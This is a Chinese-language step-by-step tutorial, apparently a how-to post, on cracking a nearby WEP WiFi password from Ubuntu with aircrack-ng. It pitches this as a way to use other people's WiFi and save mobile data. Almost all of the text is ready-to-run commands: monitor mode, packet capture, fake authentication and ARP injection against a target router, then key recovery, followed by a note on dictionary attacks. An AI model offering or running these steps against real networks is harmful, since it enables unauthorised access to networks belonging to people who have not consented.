大家都曾经遇到过附近有WiFi但是无法连接的烦恼,今天我将教大家如何破解WiFi密码,这样就不用担心流量用完了。我使用的是Ubuntu系统,如果你没有Linux系统,至少要在Windows中安装Ubuntu。
-
首先,在终端中输入以下命令来安装aircrack-ng:sudo apt-get install aircrack-ng
-
启动无线网卡的监控模式,在终端中输入:sudo airmon-ng start wlan0
-
查看有哪些无线路由器在工作,在终端中输入:sudo airodump-ng mon0,然后按下Ctrl+C退出,但保留终端窗口。
-
开始抓包,另开一个终端窗口,输入以下命令:sudo airodump-ng -c 6 –bssid 11:22:33:44:55:66 -w wep mon0
(其中,-c后面的数字6是要破解的路由器的工作频道,–bssid后面的11:22:33:44:55:66是欲破解无线路由器的MAC地址,-w后面的wep是抓下来的数据包的文件名,你可以随意命名。在步骤3中可以查看正在工作的无线路由器的频道和MAC地址) -
如果要进行注入破解,需要与目标路由器建立虚拟连接。再另开一个终端窗口,输入以下命令:sudo aireplay-ng -1 0 -a 11:22:33:44:55:66 -h aa:bb:cc:dd:ee:ff mon0
(其中,-h后面的aa:bb:cc:dd:ee:ff是你自己无线网卡的MAC地址,如果不知道可以在终端中输入ifconfig查看) -
成功建立虚拟连接后,输入以下命令进行注入:sudo aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b 11:22:33:44:55:66 -h aa:bb:cc:dd:ee:ff mon0
(注入破解是为了加快抓包的速度) -
在收集到15000个以上的数据包后,另开一个终端窗口,输入以下命令进行解密:sudo aircrack-ng wep*.cap
(注意,这里的命令中的文件名要和步骤4中的一致) -
当成功破解出密码后,在终端中输入sudo airmon-ng stop mon0来关闭监控模式,否则无线网卡会一直向刚刚的无线路由器进行注入。
请注意,aircrack-ng命令中不包含字典选项,如果需要使用字典进行破解,需要将BT6中的字典或者自己生成的字典放到Ubuntu的主文件夹中,并以xxx.txt格式保存。